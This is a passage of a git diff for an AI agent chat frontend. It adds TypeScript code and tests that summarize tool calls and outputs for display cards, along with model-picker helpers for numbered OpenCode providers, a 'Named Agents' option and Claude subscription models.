+ ["run_shell", "error\ndetail", true, "failed"],
+ ["run_shell", "partial\n\n[Command timed out]", true, "timed out"],
+ ["run_shell", "[Output truncated: 12000 bytes]", false, "1 line · truncated"],
+ ["run_shell", "bad\n[Output truncated: 12000 bytes]", true, "failed · truncated"],
+ ["edit_file", 'Replaced 1 occurrence(s) in "a.ts".', false, "1 replacement"],
+ [
+ "edit_file",
+ 'Replaced 3 occurrences in "a.ts".\n\nLSP diagnostics: error at line 2',
+ false,
+ "3 replacements · diagnostics",
+ ],
+ ["write_file", 'Created "a.ts" (4200 bytes).', false, "created · 4.1 KB"],
+ ["write_file", 'Overwrote "a.ts" (10 bytes).', false, "overwrote · 10 B"],
+ ["write_file", 'Created "a.ts" (1048576 bytes).', false, "created · 1.0 MB"],
+ ])("%s summarizes %j (error=%s)", (name, content, isError, expected) => {
+ const card = view(name, {}, content, isError);
+ expect(card.resultSummary).toBe(expected);
+ expect(card.status).toBe(isError ? "error" : "ok");
+ expect(card.output?.isError).toBe(isError);
+ });
+ it.each([
+ ["run_shell", "oops\ndetails", true, "failed"],
+ ["run_shell", "partial\n[Command timed out]", true, "timed out"],
+ ["write_file", 'Created "a.ts" (4200 bytes).', false, "created"],
+ ["write_file", 'Overwrote "a.ts" (10 bytes).', false, "overwrote"],
+ ["edit_file", 'Replaced 3 occurrences in "a.ts".\nDiagnostics: warning', false, "replaced"],
+ ["run_shell", "a\nb\nc\nd", false, "4 lines"],
+ ["mcp", "Created issue #42", false, "1 line"],
+ ["mcp", "", false, "no output"],
+ ["read_file", "(empty file: a.ts)", false, "empty file"],
+ ])("%s supplies a complete compact response fact", (name, content, isError, expected) => {
+ expect(view(name, {}, content, isError).compactResultSummary).toBe(expected);
+ });
+ it("never puts error content in header summaries, but retains it verbatim in output", () => {
+ const content = 'Error: oldString not found in content of "src/missing.ts".';
+ const card = view("edit_file", { path: "src/missing.ts" }, content, true);
+ expect(card.resultSummary).toBe("failed");
+ expect(card.compactResultSummary).toBe("failed");
+ expect(card.output).toEqual({ kind: "full", lines: [content], isError: true });
+ expect(card.callSummary).toBe("src/missing.ts");
+ expect(view("mcp", {}, null).compactResultSummary).toBeNull();
+ });
+ it("does not infer success on an error that resembles a write result", () => {
+ expect(view("write_file", {}, 'Created "a.ts" (10 bytes).', true).resultSummary).toMatch(
+ /^failed/,
+ );
+ });
+});
+
+describe("tool output elision", () => {
+ it.each([0, 1, 6, 11, 12])("shows %i lines in full", (n) => {
+ expect(view("mcp", {}, lines(n).join("\n")).output).toEqual({
+ kind: "full",
+ lines: lines(n),
+ isError: false,
+ });
+ });
+ it.each([
+ 13, 14, 100,
+ ])("shows first/last six of %i lines, retaining everything for expansion", (n) => {
+ expect(view("mcp", {}, lines(n).join("\n"), true).output).toEqual({
+ kind: "elided",
+ head: lines(n).slice(0, 6),
+ hiddenCount: n - 12,
+ tail: lines(n).slice(-6),
+ all: lines(n),
+ isError: true,
+ });
+ });
+ it("ignores one final newline terminator at the 12/13 boundary (including CRLF)", () => {
+ expect(view("mcp", {}, `${lines(12).join("\r\n")}\r\n`).output?.kind).toBe("full");
+ expect(view("mcp", {}, `${lines(13).join("\n")}\n`).output).toMatchObject({
+ kind: "elided",
+ hiddenCount: 1,
+ });
+ });
+ it("preserves meaningful blank lines including an extra trailing blank line", () => {
+ expect(view("mcp", {}, "a\n\nb\n\n").output).toEqual({
+ kind: "full",
+ lines: ["a", "", "b", ""],
+ isError: false,
+ });
+ });
+});
diff --git a/src/features/chat/logic/tool-summary.ts b/src/features/chat/logic/tool-summary.ts
new file mode 100644
index 0000000..2380adc
--- /dev/null
+++ b/src/features/chat/logic/tool-summary.ts
@@ -0,0 +1,460 @@
+import type { ToolEntry } from "../../../core/chunks";
+
+export interface ToolCardView {
+ /** The raw wire tool name (tooltip / debugging). */
+ readonly name: string;
+ /** English display name, e.g. `run_shell` → "Run command" (see {@link toolLabel}). */
+ readonly label: string;
+ /** Which icon the card shows — a semantic key; the UI maps it to a Phosphor icon. */
+ readonly icon: ToolIconKey;
+ readonly status: "pending" | "ok" | "error";
+ readonly callSummary: string;
+ readonly callBadges: readonly {
+ readonly label: string;
+ readonly tone: "success" | "error";
+ }[];
+ readonly resultSummary: string | null;
+ readonly compactResultSummary: string | null;
+ readonly callDetail:
+ | { readonly kind: "unavailable"; readonly text: string }
+ /** The call took no arguments (`{}` / absent input) — rendered as a muted note. */
+ | { readonly kind: "none" }
+ | { readonly kind: "command"; readonly text: string }
+ | {
+ readonly kind: "edit";
+ readonly path: string;
+ readonly oldText: string;
+ readonly newText: string;
+ }
+ | {
+ readonly kind: "fields";
+ readonly fields: readonly {
+ readonly key: string;
+ readonly value: string;
+ readonly multiline: boolean;
+ }[];
+ };
+ readonly output: ToolOutputView | null;
+}
+
+export type ToolOutputView =
+ | { readonly kind: "full"; readonly lines: readonly string[]; readonly isError: boolean }
+ | {
+ readonly kind: "elided";
+ readonly head: readonly string[];
+ readonly hiddenCount: number;
+ readonly tail: readonly string[];
+ readonly all: readonly string[];
+ readonly isError: boolean;
+ };
+
+type Args = Readonly<Record<string, unknown>>;
+type CallSummary = (args: Args) => string;
+
+function oneLine(text: string, cap = 120): string {
+ const compact = text.replace(/\s+/g, " ").trim();
+ return compact.length > cap ? `${compact.slice(0, cap - 1)}…` : compact;
+}
+
+function normalize(input: unknown): unknown {
+ if (typeof input !== "string") return input;
+ try {
+ return JSON.parse(input);
+ } catch {
+ return input;
+ }
+}
+
+function asArgs(input: unknown): Args {
+ return typeof input === "object" && input !== null && !Array.isArray(input)
+ ? (input as Args)
+ : {};
+}
+
+function serialize(input: unknown, pretty = false): string {
+ if (typeof input === "string") return input;
+ try {
+ // Detect ancestor cycles before the native serializer recurses. Bun's
+ // pretty JSON cycle detection can otherwise consume seconds of UI time.
+ // Track ancestors, not every visited object: shared non-cyclic values are valid.
+ const ancestors: object[] = [];
+ return (
+ JSON.stringify(
+ input,
+ function (this: unknown, _key, value: unknown) {
+ if (value !== null && typeof value === "object") {
+ while (ancestors.length && ancestors.at(-1) !== this) ancestors.pop();
+ if (ancestors.includes(value)) throw new TypeError("Circular tool input");
+ ancestors.push(value);
+ }
+ return value;
+ },
+ pretty ? 2 : undefined,
+ ) ?? String(input)
+ );
+ } catch {
+ return "[unserializable input]";
+ }
+}
+
+/** Small scalar arrays are easier to scan inline; nested/long values stay pretty JSON. */
+function fieldValue(value: unknown): string {
+ if (
+ Array.isArray(value) &&
+ value.every((item) => item === null || ["string", "number", "boolean"].includes(typeof item))
+ ) {
+ try {
+ const inline = `[${value.map((item) => JSON.stringify(item)).join(", ")}]`;
+ if (inline.length <= 80) return inline;
+ } catch {
+ // Non-wire values still use the safe serializer below.
+ }
+ }
+ return serialize(value, true);
+}
+
+function arg(args: Args, ...keys: string[]): string {
+ for (const key of keys) {
+ const value = Object.hasOwn(args, key) ? args[key] : undefined;
+ if (typeof value === "string" && value.trim()) return value;
+ if (typeof value === "number" || typeof value === "boolean") return String(value);
+ }
+ return "";
+}
+
+function lineCount(text: string): number {
+ return text === "" ? 0 : outputLines(text).length;
+}
+
+/** Drop one final newline terminator, not meaningful blank lines within the output. */
+function outputLines(content: string): string[] {
+ const normalized = content.replace(/\r\n/g, "\n");
+ return normalized === "" ? [] : normalized.replace(/\n$/, "").split("\n");
+}
+
+function readSummary(args: Args): string {
+ const path = arg(args, "path");
+ const offset = typeof args.offset === "number" && Number.isFinite(args.offset) ? args.offset : 1;
+ const limit = typeof args.limit === "number" && Number.isFinite(args.limit) ? args.limit : null;
+ return `${path}${limit !== null ? `:${offset}-${offset + limit - 1}` : args.offset !== undefined ? `:${offset}` : ""}`;
+}
+
+function lspSummary(args: Args): string {
+ const line = arg(args, "line");
+ const character = arg(args, "character");
+ return `${arg(args, "operation")} ${arg(args, "path")}${line ? `:${line}${character ? `:${character}` : ""}` : ""}`;
+}
+
+function todoSummary(args: Args): string {
+ if (!Array.isArray(args.todos)) return "";
+ const done = args.todos.filter((t) => asArgs(t).status === "completed").length;
+ return `${args.todos.length} tasks · ${done} completed`;
+}
+
+const summarizeAgent: CallSummary = (args) => arg(args, "title", "task", "agent", "model");
+const summarizeConversation: CallSummary = (args) => arg(args, "conversationId", "message");
+
+/** English names for Dispatch's built-in tools; anything else goes through {@link humanize}. */
+const TOOL_LABELS: Readonly<Record<string, string>> = {
+ run_shell: "Run command",
+ read_file: "Read file",
+ edit_file: "Edit file",
+ write_file: "Write file",
+ web_search: "Web search",
+ lsp: "Code intelligence",
+ todo_write: "Update to-dos",
+ load_skill: "Load skill",
+ consult_vision: "Ask vision model",
+ read_image: "Read image",
+ youtube_transcript: "YouTube transcript",
+ summon_agent: "Summon agent",
+ send_agent_message: "Message agent",
+ read_agent: "Read agent reply",
+ open_agent: "Open agent",
+ cancel_agent_message: "Cancel agent message",
+ list_agents: "List agents",
+ list_agent_models: "List agent models",
+};
+
+/**
+ * Semantic icon keys (Svelte-free; `ui/tool-icons.ts` maps each to a Phosphor
+ * component). Unknown tools get `mcp` when namespaced `<server>__<tool>`,
+ * else the generic `tool` wrench.
+ */
+export type ToolIconKey =
+ | "terminal"
+ | "file-read"
+ | "file-edit"
+ | "file-write"
+ | "search"
+ | "code"
+ | "todos"
+ | "skill"
+ | "vision"
+ | "image"
+ | "youtube"
+ | "agent-summon"
+ | "agent-send"
+ | "agent-read"
+ | "agent-open"
+ | "agent-cancel"
+ | "agents"
+ | "models"
+ | "mcp"
+ | "tool";
+
+const TOOL_ICONS: Readonly<Record<string, ToolIconKey>> = {
+ run_shell: "terminal",
+ read_file: "file-read",
+ edit_file: "file-edit",
+ write_file: "file-write",
+ web_search: "search",
+ lsp: "code",
+ todo_write: "todos",
+ load_skill: "skill",
+ consult_vision: "vision",
+ read_image: "image",
+ youtube_transcript: "youtube",
+ summon_agent: "agent-summon",
+ send_agent_message: "agent-send",
+ read_agent: "agent-read",
+ open_agent: "agent-open",
+ cancel_agent_message: "agent-cancel",
+ list_agents: "agents",
+ list_agent_models: "models",
+};
+
+/** The icon key for a tool (built-in table, else MCP plug / generic wrench). */
+export function toolIcon(name: string): ToolIconKey {
+ if (Object.hasOwn(TOOL_ICONS, name)) return TOOL_ICONS[name] ?? "tool";
+ return name.split("__").filter((p) => p !== "").length >= 2 ? "mcp" : "tool";
+}
+
+/** `create_issue` / `createIssue` / `create-issue` → "Create issue". */
+function sentenceCase(raw: string): string {
+ const words = raw
+ .replace(/([a-z0-9])([A-Z])/g, "$1 $2")
+ .split(/[\s_\-.]+/)
+ .filter((w) => w !== "")
+ .map((w) => w.toLowerCase());
+ if (words.length === 0) return raw;
+ const text = words.join(" ");
+ return text.charAt(0).toUpperCase() + text.slice(1);
+}
+
+/**
+ * Generic English name for an unknown tool. MCP tools arrive namespaced as
+ * `<serverId>__<toolName>` (backend `mcp/registry.ts`), shown as "Server: Tool name".
+ */
+function humanize(name: string): string {
+ const parts = name.split("__").filter((p) => p !== "");
+ if (parts[0]?.toLowerCase() === "mcp" && parts.length > 1) parts.shift();
+ if (parts.length >= 2) {
+ const server = sentenceCase(parts[0] ?? "");
+ return `${server}: ${sentenceCase(parts.slice(1).join(" "))}`;
+ }
+ return sentenceCase(name);
+}
+
+/** The English display name for a tool (built-in table, else humanized). */
+export function toolLabel(name: string): string {
+ return Object.hasOwn(TOOL_LABELS, name) ? (TOOL_LABELS[name] ?? name) : humanize(name);
+}
+
+/** True for input that carries no arguments at all (absent, `null`, `{}`, `[]`, blank string). */
+function isEmptyInput(input: unknown): boolean {
+ if (input === undefined || input === null) return true;
+ if (typeof input === "string") return input.trim() === "";
+ if (Array.isArray(input)) return input.length === 0;
+ return typeof input === "object" && Object.keys(input).length === 0;
+}
+
+/** Fallback summary: scalar args as `key: value` (never raw JSON braces). */
+function scalarPairs(args: Args): string {
+ return Object.entries(args)
+ .filter(
+ ([, v]) => ["string", "number", "boolean"].includes(typeof v) && String(v).trim() !== "",
+ )
+ .map(([k, v]) => `${k}: ${String(v)}`)
+ .join(" · ");
+}
+
+/** Optional built-in polish; all unknown/MCP names use the same generic path. */
+const summaries: Readonly<Record<string, CallSummary>> = {
+ run_shell: (args) => arg(args, "command"),
+ read_file: readSummary,
+ edit_file: (args) => arg(args, "path"),
+ write_file: (args) => arg(args, "path"),
+ web_search: (args) => arg(args, "query", "url"),
+ lsp: lspSummary,
+ todo_write: todoSummary,
+ load_skill: (args) => arg(args, "name"),
+ consult_vision: (args) => arg(args, "question", "path"),
+ youtube_transcript: (args) => arg(args, "url"),
+ summon_agent: summarizeAgent,
+ send_agent_message: summarizeConversation,
+ read_agent: summarizeConversation,
+ open_agent: summarizeConversation,
+ cancel_agent_message: summarizeConversation,
+ list_agents: (args) => arg(args, "query", "relationship", "workspaceId"),
+ list_agent_models: (args) => arg(args, "query"),
+};
+
+function detail(name: string, input: unknown, args: Args): ToolCardView["callDetail"] {
+ if (name === "run_shell" && typeof args.command === "string") {
+ return { kind: "command", text: args.command };
+ }
+ if (name === "edit_file" && typeof args.path === "string") {
+ return {
+ kind: "edit",
+ path: args.path,
+ oldText: typeof args.oldString === "string" ? args.oldString : "",
+ newText: typeof args.newString === "string" ? args.newString : "",
+ };
+ }
+ if (isEmptyInput(input)) return { kind: "none" };
+ const entries = Object.entries(args);
+ return {
+ kind: "fields",
+ fields: (entries.length > 0 ? entries : [["input", input]]).map(([key, value]) => {
+ const text = fieldValue(value);
+ return { key: String(key), value: text, multiline: text.includes("\n") };
+ }),
+ };
+}
+
+function bytesLabel(bytes: number): string {
+ if (bytes < 1024) return `${bytes} B`;
+ if (bytes < 1024 * 1024) return `${(bytes / 1024).toFixed(1)} KB`;
+ return `${(bytes / (1024 * 1024)).toFixed(1)} MB`;
+}
+
+function responseSummary(name: string, content: string, isError: boolean): string {
+ const lines = outputLines(content);
+ const first = oneLine(lines.find((line) => line.trim()) ?? "", 72);
+ const count = `${lines.length} ${lines.length === 1 ? "line" : "lines"}`;
+ const timeout = /\[Command timed out\]/i.test(content);
+ const truncated = /\[Output truncated[^\]]*\]/i.test(content);
+ let summary: string;
+ if (timeout) summary = "timed out";
+ else if (isError) summary = "failed";
+ else if (!content.trim()) summary = "no output";
+ else if (/^\(empty file\b/i.test(content)) summary = "empty file";
+ else {
+ const replaced =
+ name === "edit_file" ? /^Replaced (\d+) occurrence(?:\(s\)|s)?/i.exec(content) : null;
+ const written =
+ name === "write_file" ? /^(Created|Overwrote)\b[^\n]*\((\d+) bytes\)/i.exec(content) : null;
+ if (replaced) {
+ summary = `${replaced[1]} ${replaced[1] === "1" ? "replacement" : "replacements"}`;
+ if (content.trim().includes("\n")) summary += " · diagnostics";
+ } else if (written) {
+ summary = `${written[1]?.toLowerCase()} · ${bytesLabel(Number(written[2]))}`;
+ } else if (
+ name === "run_shell" ||
+ name === "read_file" ||
+ lines.length > 1 ||
+ first.length > 60
+ ) {
+ summary = count;
+ } else summary = first;
+ }
+ const label = `${summary}${truncated ? " · truncated" : ""}`;
+ // Even the wide header must leave room for the call; prefer a whole short
+ // fact over chopping an arbitrary one-line response halfway through a word.
+ return label.length <= 40 ? label : compactResponseSummary(label, lines.length);
+}
+
+/** Never CSS-clip response facts: swap to a whole short fact when space is scarce. */
+function compactResponseSummary(summary: string, count: number): string {
+ const fact = summary.split(" · ")[0] ?? summary;
+ if (/^(failed|timed out|no output|empty file|created|overwrote|\d+ lines?)$/.test(fact))
+ return fact;
+ if (/^\d+ replacements?$/.test(fact)) return "replaced";
+ return `${count} ${count === 1 ? "line" : "lines"}`;
+}
+
+export function viewToolEntry(entry: ToolEntry): ToolCardView {
+ const input = normalize(entry.call?.input);
+ const args = asArgs(input);
+ const summarize = Object.hasOwn(summaries, entry.toolName)
+ ? summaries[entry.toolName]
+ : undefined;
+ const generic = arg(
+ args,
+ "command",
+ "path",
+ "file_path",
+ "query",
+ "url",
+ "pattern",
+ "name",
+ "question",
+ "title",
+ "task",
+ "message",
+ "conversationId",
+ );
+ const builtInSummary = summarize?.(args).trim();
+ const callSummary =
+ entry.call === null
+ ? entry.recovering
+ ? "Recovering tool input…"
+ : "Call in earlier history"
+ : isEmptyInput(input)
+ ? ""
+ : oneLine(
+ builtInSummary ||
+ generic ||
+ scalarPairs(args) ||
+ // Non-object input (e.g. a bare string); objects with only nested
+ // values stay unsummarized rather than dumping JSON braces.
+ (Object.keys(args).length === 0 ? serialize(input) : ""),
+ );
+ const callBadges: ToolCardView["callBadges"][number][] = [];
+ if (entry.toolName === "edit_file" && entry.call !== null && !entry.result?.isError) {
+ if (typeof args.oldString === "string" && typeof args.newString === "string") {
+ callBadges.push(
+ { label: `+${lineCount(args.newString)}`, tone: "success" },
+ { label: `−${lineCount(args.oldString)}`, tone: "error" },
+ );
+ }
+ }
+ const result = entry.result;
+ const lines = result === null ? [] : outputLines(result.content);
+ const resultSummary =
+ result === null ? null : responseSummary(entry.toolName, result.content, result.isError);
+ return {
+ name: entry.toolName,
+ label: toolLabel(entry.toolName),
+ icon: toolIcon(entry.toolName),
+ status: result === null ? "pending" : result.isError ? "error" : "ok",
+ callSummary,
+ callBadges,
+ callDetail:
+ entry.call === null
+ ? {
+ kind: "unavailable",
+ text: entry.recovering
+ ? "Tool input is unavailable until it is persisted. Recovering from conversation history…"
+ : "This call is earlier in the conversation. Show earlier messages to see it.",
+ }
+ : detail(entry.toolName, input, args),
+ resultSummary,
+ compactResultSummary:
+ resultSummary === null ? null : compactResponseSummary(resultSummary, lines.length),
+ output:
+ result === null
+ ? null
+ : lines.length <= 12
+ ? { kind: "full", lines, isError: result.isError }
+ : {
+ kind: "elided",
+ head: lines.slice(0, 6),
+ hiddenCount: lines.length - 12,
+ tail: lines.slice(-6),
+ all: lines,
+ isError: result.isError,
+ },
+ };
+}
diff --git a/src/features/chat/model-select.test.ts b/src/features/chat/model-select.test.ts
index 6d3081d..523f1d8 100644
--- a/src/features/chat/model-select.test.ts
+++ b/src/features/chat/model-select.test.ts
@@ -1,9 +1,19 @@
import { describe, expect, it } from "vitest";
import {
+ isClaudeSubscriptionModel,
+ isNamedAgentSelection,
isVisionModel,
joinModelName,
+ migrateLegacyModelName,
+ modelKeyLabel,
modelKeys,
modelsForKey,
+ NAMED_AGENTS_PROVIDER,
+ namedAgentNames,
+ namedAgentSelectionLabel,
+ namedAgentsProviderLabel,
+ openCodeNumber,
+ providerKeysWithNamedAgents,
splitModelName,
} from "./model-select";
@@ -47,11 +57,64 @@ describe("modelKeys", () => {
).toEqual(["openai", "anthropic", "google"]);
});
+ it("sorts numbered OpenCode keys numerically (#2 before #10)", () => {
+ expect(
+ modelKeys(["opencode-10/models", "opencode-2/models", "opencode-1/models", "openai/gpt-4"]),
+ ).toEqual(["opencode-1", "opencode-2", "opencode-10", "openai"]);
+ });
+
it("is empty for no models", () => {
expect(modelKeys([])).toEqual([]);
});
});
+describe("openCodeNumber", () => {
+ it("parses a numbered OpenCode key", () => {
+ expect(openCodeNumber("opencode-1")).toBe(1);
+ expect(openCodeNumber("opencode-10")).toBe(10);
+ });
+
+ it("returns null for non-openCode / malformed keys", () => {
+ expect(openCodeNumber("umans")).toBeNull();
+ expect(openCodeNumber("opencode")).toBeNull();
+ expect(openCodeNumber("opencode-0")).toBeNull();
+ expect(openCodeNumber("opencode-01")).toBeNull();
+ });
+});
+
+describe("modelKeyLabel", () => {
+ it("labels a numbered OpenCode key as OpenCode #N", () => {
+ expect(modelKeyLabel("opencode-2")).toBe("OpenCode #2");
+ expect(modelKeyLabel("opencode-10")).toBe("OpenCode #10");
+ });
+
+ it("leaves non-OpenCode keys unchanged", () => {
+ expect(modelKeyLabel("umans")).toBe("umans");
+ });
+});
+
+describe("migrateLegacyModelName", () => {
+ it("rewrites opencode/<model> to opencode-1/<model>", () => {
+ expect(migrateLegacyModelName("opencode/deepseek-v4-flash")).toBe(
+ "opencode-1/deepseek-v4-flash",
+ );
+ expect(migrateLegacyModelName("opencode/nested/model")).toBe("opencode-1/nested/model");
+ });
+
+ it("leaves already-numbered and other-provider names unchanged", () => {
+ expect(migrateLegacyModelName("opencode-1/deepseek-v4-flash")).toBe(
+ "opencode-1/deepseek-v4-flash",
+ );
+ expect(migrateLegacyModelName("umans/umans-glm-5.2")).toBe("umans/umans-glm-5.2");
+ expect(migrateLegacyModelName("opencode-2/x")).toBe("opencode-2/x");
+ });
+
+ it("is idempotent", () => {
+ const once = migrateLegacyModelName("opencode/deepseek-v4-flash");
+ expect(migrateLegacyModelName(once)).toBe(once);
+ });
+});
+
describe("modelsForKey", () => {
it("returns the model suffixes under a key, in order", () => {
const models = ["openai/gpt-4", "anthropic/claude-3", "openai/gpt-4o"];
@@ -87,3 +150,66 @@ describe("isVisionModel", () => {
expect(isVisionModel({}, "kimi/k2")).toBe(false);
});
});
+
+describe("named-agent provider helpers", () => {
+ it("providerKeysWithNamedAgents puts the synthetic provider first, then raw keys", () => {
+ expect(providerKeysWithNamedAgents(["openai/gpt-4", "anthropic/claude"])).toEqual([
+ NAMED_AGENTS_PROVIDER,
+ "openai",
+ "anthropic",
+ ]);
+ // Always present even with zero models.
+ expect(providerKeysWithNamedAgents([])).toEqual([NAMED_AGENTS_PROVIDER]);
+ });
+
+ it("namedAgentsProviderLabel + NAMED_AGENTS_PROVIDER are stable", () => {
+ expect(namedAgentsProviderLabel()).toBe("Named Agents");
+ expect(NAMED_AGENTS_PROVIDER).toBe("__named_agents__");
+ });
+
+ it("namedAgentNames returns the display names", () => {
+ expect(namedAgentNames([{ id: "a", name: "Coding", model: "m" }])).toEqual(["Coding"]);
+ });
+
+ it("isNamedAgentSelection is true only for a snapshot whose model equals the selection", () => {
+ expect(
+ isNamedAgentSelection("opencode-1/claude", {
+ namedAgentId: "a",
+ namedAgentName: "C",
+ model: "opencode-1/claude",
+ }),
+ ).toBe(true);
+ expect(
+ isNamedAgentSelection("other/model", {
+ namedAgentId: "a",
+ namedAgentName: "C",
+ model: "opencode-1/claude",
+ }),
+ ).toBe(false);
+ expect(isNamedAgentSelection("opencode-1/claude", null)).toBe(false);
+ });
+
+ it("namedAgentSelectionLabel renders 'Named Agents -> <name>'", () => {
+ expect(namedAgentSelectionLabel("Coding")).toBe("Named Agents -> Coding");
+ });
+});
+
+describe("isClaudeSubscriptionModel", () => {
+ it("is true for claude/<model> (the Claude Code subscription credential)", () => {
+ expect(isClaudeSubscriptionModel("claude/claude-opus-4-6")).toBe(true);
+ expect(isClaudeSubscriptionModel("claude/claude-sonnet-4-6")).toBe(true);
+ });
+
+ it("is false for Claude models served through other credentials", () => {
+ expect(isClaudeSubscriptionModel("opencode-1/claude-sonnet-4.5")).toBe(false);
+ expect(isClaudeSubscriptionModel("openrouter/anthropic/claude-opus-4")).toBe(false);
+ expect(isClaudeSubscriptionModel("openai/gpt-4o")).toBe(false);
+ });
+
+ it("is false for a bare key, a lookalike key, or undefined", () => {
+ expect(isClaudeSubscriptionModel("claude")).toBe(false);
+ expect(isClaudeSubscriptionModel("claude/")).toBe(false);
+ expect(isClaudeSubscriptionModel("claude-2/claude-opus-4-6")).toBe(false);
+ expect(isClaudeSubscriptionModel(undefined)).toBe(false);
+ });
+});
diff --git a/src/features/chat/model-select.ts b/src/features/chat/model-select.ts
index 602e0ef..bebad2c 100644
--- a/src/features/chat/model-select.ts
+++ b/src/features/chat/model-select.ts
@@ -29,15 +29,80 @@ export function joinModelName(key: string, model: string): string {
/** Distinct keys across all models, in first-seen order. */
export function modelKeys(models: readonly string[]): string[] {
const seen = new Set<string>();
- const out: string[] = [];
+ const openCodeKeys: Array<{ key: string; n: number }> = [];
+ const otherKeys: string[] = [];
for (const full of models) {
const { key } = splitModelName(full);
- if (!seen.has(key)) {
- seen.add(key);
- out.push(key);
- }
+ if (seen.has(key)) continue;
+ seen.add(key);
+ const n = openCodeNumber(key);
+ if (n !== null) openCodeKeys.push({ key, n });
+ else otherKeys.push(key);
}
- return out;
+ // Numbered OpenCode credentials sort NUMERICALLY (#2 before #10), placed
+ // before other providers (the primary credential in this app). Others keep
+ // first-seen order.
+ openCodeKeys.sort((a, b) => a.n - b.n);
+ return [...openCodeKeys.map((e) => e.key), ...otherKeys];
+}
+
+/**
+ * The stable numeric identity of a numbered OpenCode provider id/key
+ * (`opencode-1` → 1, `opencode-10` → 10), or `null` when the id is not a
+ * numbered OpenCode key. Numbers are canonical positive integers with no
+ * leading zeros.
+ */
+export function openCodeNumber(key: string): number | null {
+ const m = /^opencode-([1-9][0-9]*)$/.exec(key);
+ return m === null ? null : Number(m[1]);
+}
+
+/** True iff `id` is a numbered OpenCode provider/key (`opencode-<n>`). */
+export function isNumberedOpenCode(id: string): boolean {
+ return openCodeNumber(id) !== null;
+}
+
+/**
+ * The credential key of the Claude Code subscription (the external Claude
+ * extension — `auth-claude` + `provider-anthropic`). The backend registers it
+ * under `DISPATCH_CLAUDE_CREDENTIAL`, default `"claude"`, so its models arrive
+ * as `claude/<model>`.
+ */
+export const CLAUDE_SUBSCRIPTION_KEY = "claude";
+
+/**
+ * True iff `full` is a model served through the Claude Code subscription
+ * (`claude/<model>`). Gates the cache timer (that subscription's prompt cache
+ * expires after 5 minutes). A bare key with no model is not a model.
+ */
+export function isClaudeSubscriptionModel(full: string | undefined): boolean {
+ if (full === undefined) return false;
+ const { key, model } = splitModelName(full);
+ return key === CLAUDE_SUBSCRIPTION_KEY && model !== "";
+}
+
+/**
+ * A friendly human label for a model key/provider id: `opencode-<n>` →
+ * "OpenCode #<n>"; any other id is returned unchanged. The RAW id is still what
+ * gets selected/persisted — this only affects display.
+ */
+export function modelKeyLabel(key: string): string {
+ const n = openCodeNumber(key);
+ return n === null ? key : `OpenCode #${n}`;
+}
+
+/**
+ * Migration helper: rewrite a legacy `opencode/<model>` full model name to the
+ * numbered `opencode-1/<model>` namespace. Returns the input unchanged for
+ * anything that is not `opencode/`-prefixed (already-numbered names, other
+ * providers). Idempotent. This is the FE-side persisted-state migration; the
+ * backend performs its own equivalent on its own store.
+ */
+export function migrateLegacyModelName(full: string): string {
+ const legacyPrefix = "opencode/";
+ if (!full.startsWith(legacyPrefix)) return full;
+ const model = full.slice(legacyPrefix.length);
+ return model.length === 0 ? full : `opencode-1/${model}`;
}
/** The model suffixes available under a given key, in order. */
@@ -62,3 +127,73 @@ export function isVisionModel(
): boolean {
return modelInfo[fullName]?.vision === true;
}
+
+// ── Named Agents synthetic provider (plan §6) ────────────────────────────────
+//
+// The regular model picker gains a "Named Agents" provider at the TOP of the
+// provider list. Selecting it + a Named Agent name resolves to that agent's raw
+// model for the conversation AND records a snapshot so the selection survives
+// later edits to the shared preset. These helpers are structural (they take a
+// minimal NamedAgent-ish shape) so `model-select` stays decoupled from the
+// named-agents feature up the chain; the picker binds the real types.
+
+/** A minimal Named Agent shape the synthetic provider needs (structural). */
+export interface NamedAgentLike {
+ readonly id: string;
+ readonly name: string;
+ readonly model: string;
+}
+
+/** A minimal per-conversation Named Agent selection snapshot (structural). */
+export interface NamedAgentSnapshotLike {
+ readonly namedAgentId: string;
+ readonly namedAgentName: string;
+ readonly model: string;
+}
+
+/**
+ * The synthetic "Named Agents" provider id used by the regular model picker
+ * (plan §6). Deliberately a value that can never collide with a real provider
+ * (`<credentialName>`), so the provider dropdown treats it as the first option.
+ */
+export const NAMED_AGENTS_PROVIDER = "__named_agents__";
+
+/** The friendly label of the synthetic Named Agents provider. */
+export function namedAgentsProviderLabel(): string {
+ return "Named Agents";
+}
+
+/**
+ * The provider dropdown options for the picker: the synthetic "Named Agents"
+ * provider ALWAYS first, then the raw providers (via `modelKeys`). The synthetic
+ * entry stays present even with zero Named Agents (plan §6 shows a disabled
+ * "No named agents configured" model option).
+ */
+export function providerKeysWithNamedAgents(models: readonly string[]): string[] {
+ return [NAMED_AGENTS_PROVIDER, ...modelKeys(models)];
+}
+
+/** The Named Agent names offered in the model dropdown when the synthetic provider is selected. */
+export function namedAgentNames(agents: readonly NamedAgentLike[]): string[] {
+ return agents.map((a) => a.name);
+}
+
+/**
+ * Whether a full raw model string corresponds to a Named Agent snapshot —
+ * i.e. the conversation was selected via a Named Agent whose captured raw model
+ * equals `selected`. When true, the picker displays `Named Agents -> <name>`.
+ */
+export function isNamedAgentSelection(
+ selected: string,
+ snapshot: NamedAgentSnapshotLike | null,
+): boolean {
+ return snapshot !== null && snapshot.model === selected;
+}
+
+/**
+ * The snapshot label shown in the model dropdown for a Named Agent selection:
+ * "Named Agents -> <name>". Pure display.
+ */
+export function namedAgentSelectionLabel(name: string): string {
+ return `${namedAgentsProviderLabel()} -> ${name}`;
+}
diff --git a/src/features/chat/pending-inputs.ts b/src/features/chat/pending-inputs.ts
new file mode 100644
index 0000000..d7fb0aa
--- /dev/null
+++ b/src/features/chat/pending-inputs.ts
@@ -0,0 +1,12 @@
+import type { ChatQueueMessage, ChatSendMessage } from "@dispatch/transport-contract";
+
+/** A saved copy, never automatically retransmitted: requestId is not idempotent. */
+export interface PendingInput {
+ readonly request: (ChatSendMessage | ChatQueueMessage) & { readonly requestId: string };
+ readonly rejection?: string;
+}
+
+export interface PendingInputStorage {
+ load(): readonly PendingInput[];
+ save(inputs: readonly PendingInput[]): void;
+}
diff --git a/src/features/chat/ports.ts b/src/features/chat/ports.ts
index 2fe10dc..53ac236 100644
--- a/src/features/chat/ports.ts
+++ b/src/features/chat/ports.ts
@@ -1,4 +1,5 @@
import type {
+ ChatQueueCancelMessage,
ChatQueueMessage,
ChatSendMessage,
ConversationHistoryResponse,
@@ -6,12 +7,14 @@ import type {
} from "@dispatch/transport-contract";
/**
- * Injected transport port — sends chat messages to the server. Accepts both
- * `chat.send` (start a turn) and `chat.queue` (enqueue a steering message;
- * auto-starts a turn if idle).
+ * Injected transport port — sends chat messages to the server. Accepts
